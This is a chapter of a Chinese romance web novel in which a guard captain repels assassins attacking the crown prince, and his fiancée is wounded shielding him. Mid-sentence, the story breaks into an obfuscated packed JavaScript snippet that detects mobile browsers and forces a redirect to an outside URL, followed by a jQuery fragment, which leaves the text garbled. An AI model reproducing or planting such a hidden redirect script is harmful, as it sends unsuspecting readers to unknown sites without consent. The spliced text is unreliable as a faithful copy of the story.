樱花林中,数十个蒙面黑衣人乌压压涌出,提刀持剑朝着太子与亲卫猛砍过去。身着银色铠甲的十余名亲卫回缩成一个圆圈,将太子与太子妃紧紧围在当中。
一时间,刀光剑影,杀声震天。
林中樱花飞舞,雪白的花瓣被四处飞溅的鲜血染红。
晏启正手握长刀,凌厉的眼神杀机深重。
他挥舞长刀,招招凶狠,将来犯的刺客一个个斩落刀下。很快,全身甲胄与脸上沾满斑斑血渍。
以少敌寡,重重包围之下,亲卫奋力杀出一条口子。晏启正护住太子与太子妃,往林外车马停靠的地方快速撤离。
蒙面黑衣人穷追不舍,一直追杀到樱花林外。
马车就在前方不远,晏启正缠住身后的三个黑衣人,让一名亲卫带太子与太子妃先上马车。
缠斗中,又有数个黑衣人追杀上来。晏启正奋力阻挡,被他们合力困住,刀刀相迫。
就在这时,凭空响彻一声马儿嘶鸣,接着便是一阵急促的马蹄声。
起初晏启正以为是太子的马车,却不料转头看见两位年轻公子驾着马,一前一后朝他这边冲了过来。
马背上的卫子嫣怕得要死,却又不能眼睁睁看晏启正被困袖手旁观。她跟着柳玉儿冲向黑衣人,因为害怕,不由自主闭着眼睛哇哇大叫。
黑衣人被马儿冲散,晏启正稍一喘息,提刀便把近身的两个黑衣人抹了脖子,然后目光飞快掠过马上。
方才的惨叫声,加上这一眼,晏启正认出马背上的人,连忙奔向追她的黑衣人。
卫子嫣冲完过后,发现有人拿刀追杀自己,吓得差点从马背上掉下来。
马儿似乎也受了惊吓,缩着蹄子不肯往前跑。卫子嫣扯着缰绳,怎么拽也拽不动它,只在原地打圈。
黑衣人眨眼追上来,提起刀便砍向她的腿,卫子嫣慌忙从马背另一边滚了下去,摔得龇牙咧嘴。
正觉五脏六腑疼得错位,黑衣人绕过马来,朝她扬起大刀——
“啊——”
卫子嫣抱头惨叫,没等到刀落,却是那黑衣人重重地倒在她面前,后背一个大窟窿汩汩冒血。
卫子嫣向后一缩,骇然抬头,惊恐的目光中映出晏启正一张盛怒的脸。
刚要松口气,瞥见晏启正背后冒出一个黑衣人,连忙出声:“小心——”
与此同时,晏启正业已听到风声,利落转身,大刀挡住对方的偷袭,反手一招将其毙命。
黑衣人倒地的瞬间,亲卫驾着太子的马车疾驰而来。
晏启正回过身,拽起卫子嫣要带她上马,又听她惊呼一声“小心!”
晏启正立刻转头,只见一抹黑色影子掠至身后,而身侧的卫子嫣猛地拉了他一把。他身形朝前一晃,黑衣人本该劈在他背上的刀,一下落到了卫子嫣身上。
晏启正飞快转身,大刀狠狠刺入黑衣人的胸口。
“仪岚......”他再腾出手去扶滑倒在地的卫子嫣,却见她手臂处紫色的衣裳已经染红,看着伤口不浅。
“我是不是......快死了?”卫子嫣眼泪滚滚。
她自小娇生惯养,那挨过这种刀子?此刻又痛又怕,以为自己跟那些黑衣人一样快要呜呼哀哉。
她才刚满十六啊!
尚有许多心愿未了……
爹娘要知道她英年早逝,白发人送黑发人该有多心痛……
卫子嫣悲从中来,只是晏启正还没功夫宽慰她,起身提起刀继续击杀残余的几个刺客,阻止他们靠近太子的马车。
更多的黑衣人从樱林那边追杀过来,卫子嫣吓得花容失色!
想从地上爬起来,跑去晏启正身边,奈何两条腿却软得不听使唤,刚起来又“啊”地一声摔下去。
晏启正余光瞧见,飞身而至,拽住她的另一只胳膊将人扶起,同时单手抡起大刀挥向来犯的刺客。
又是一波热血飞溅而出,喷在卫子嫣衣裙上,泛起一阵作呕。
起身的刹那又牵扯到手臂伤口,疼得她魂灵出窍,卫子嫣整个人瘫倒在晏启正身上。
晏启正将刀刃杵地,大力一划,扬起一片尘灰。趁黑衣人避开的瞬间,抱起卫子嫣奔向马车,交于亲卫。
再转身,两个黑衣人已追至跟前,他左右开弓,一刀劈在一人脖子上,一脚踹飞另一人。
晏启正勾起两指放入口中,吹出一声长啸,杀红的双眼怒视前方。
蒙面刺客的人数已锐减大半,自己人亦损失惨重。循着他的信号撤回的亲卫不足五人,依然还有场浴血苦战。
亲卫们个个身上都挂了彩,和黑衣人且战且退,渐渐靠拢马车。
眼见又要形成包围圈,忽然凭空响起另一波喊杀声,从下山方向涌入十余个骑马的汉子,在一位公子的带领下直冲过来。
居首之人正是女扮男装的柳玉儿,而在她身后跟着的,则是卫夫人派来寻女儿的家卫。
柳玉儿方才也被两个黑衣人追赶,只能骑着马夺路狂奔。刚跑下去没多远,正好遇上来寻卫子嫣的家卫。
其中领头的是管家王兴。
出发前夫人曾仔细交代,小姐是同另一位柳姓姑娘女扮男装出行,叫他们别光盯着姑娘找。是以瞧见公子模样的柳玉儿,王兴便留了心,一问还真就是柳姑娘。
王兴当即自报门户,柳玉儿心下大喜,赶忙带他们上来救人。
别看只是一个府上的护卫,个个也都是舞刀弄枪的壮汉,浑身杀气骑马奔来,乍看之下还挺能唬人。
黑衣刺客不明状况,被冲撞得猝不及防。
现场气势陡然逆转,晏启正与亲卫重振旗鼓,出手愈发凌厉,刀刀致命。而家卫们则仗着马上优势,连连砍杀数人。
一番激烈厮杀过后,余下的几个刺客见大势已去,收起恋战夺路而逃。
“别追!”晏启正叫住试图追赶的王兴。
此时山上形势不明,不宜穷追猛打,尽快撤离下山方是明智之举。
“晏大公子,小姐呢?”
听汉子这么问,晏启正确定猜测没错,这些人来自卫府。他回首朝马车头望去,却不见到之前放下的卫子嫣。
晏启正快步走过去,才发现她已躺入马车内,双目紧闭,似无知觉。
“她晕过去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810749|175225||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”太子快语道,“方才太子妃包扎了伤口,不宜挪动,就让她这么躺着吧。”
车厢内血迹斑斑,卫子嫣受伤那条手臂已完全被血水染红。
晏启正目光扫过她苍白的脸,喉咙有些发紧。
“多谢殿下,多谢娘娘。”
地上全是鲜血与尸首,阴森森地触目惊心。晏启正不再耽搁,指挥所有人上马。一行人迅速往山下撤离,所幸没再遇其他埋伏。
车马直奔城门,晏启正打马跑在马车后侧,眼睛不时看向前方。
想到一个娇滴滴的小姐,明明怕得要死还冲过来替他解围——甚至为他挡刀,不免心烦意乱。
以往她在身边胡搅蛮缠的画面历历在目。
以为只是刁蛮的千金小姐非要得到一样得不到的东西,所以觉得幼稚又讨厌。什么痴恋、爱慕,他压根儿一点不信!
可方才她冒着性命之忧来救自己的举动,不是出于爱意,又是什么?
晏启正想到刚刚抱她上马车的时候,她满头大汗,气若游丝,已经痛得快要晕死过去。
她竟然真的......
爱他至死啊!
晏启正忽然觉得,以前对着他的那些可怜不是她装出来的。她痴情自己这么些年,却只落得他的冷脸与绝情,如何不委屈、不可怜?
在花园向他认错,可他依然坚决要退亲,还口口声声连做妾也不要她。
她生辰,他去会女子,她巴巴地找上来希望他跟她回去。可他呢?纵使她以跳河相逼,他也不曾心软。
当时,她问出“晏哥哥,来世你会愿意娶我?”的一刻,又是抱着怎样一种凄然绝望的哀伤......
晏启正心酸地闭上眼睛......
太子殿下的马车停在卫府门外,卫老爷与夫人还来不及出来迎接,就见浑身血迹斑斑的晏启正抱着自家女儿朝内快步疾走。
“她受了刀伤,快请大夫。”
卫老爷与夫人一听,登时心惊肉跳。一个赶忙着人去请大夫,一个赶紧将晏启正带入闺房。
晏启正将昏迷不醒的人小心放在软床上,再细瞧胳膊的伤势。
显然,太子妃粗略包扎过的伤口没有完全止住血,衣裳染红大片,卫夫人跟着看了一眼差点晕厥。
“让大夫尽快止血,开止痛药。”晏启正一一交代。
“她要是醒了,别让她乱动,多休息。至于事由经过,启正晚些时候回来再向夫人禀明。”
“你不留下吗?”卫夫人已然乱了方寸,生怕他这个节骨眼儿上离开。
晏启正垂眸看着床上不省人事的娇小面庞,胸口像有什么东西压着一般沉重。
他是该留下,可太子遇刺关系重大!
太子与太子妃在城门口已由守军护送回宫。体谅伤的是他未婚妻,太子允他先把人送回家。眼下,他必须带人立刻折返樱花林追查刺客......
鬼使神差的,晏启正躬下身,手指轻柔拭去她脸颊的泪迹残痕。
子嫣......
他在心中默念。
无事的,我很快回来......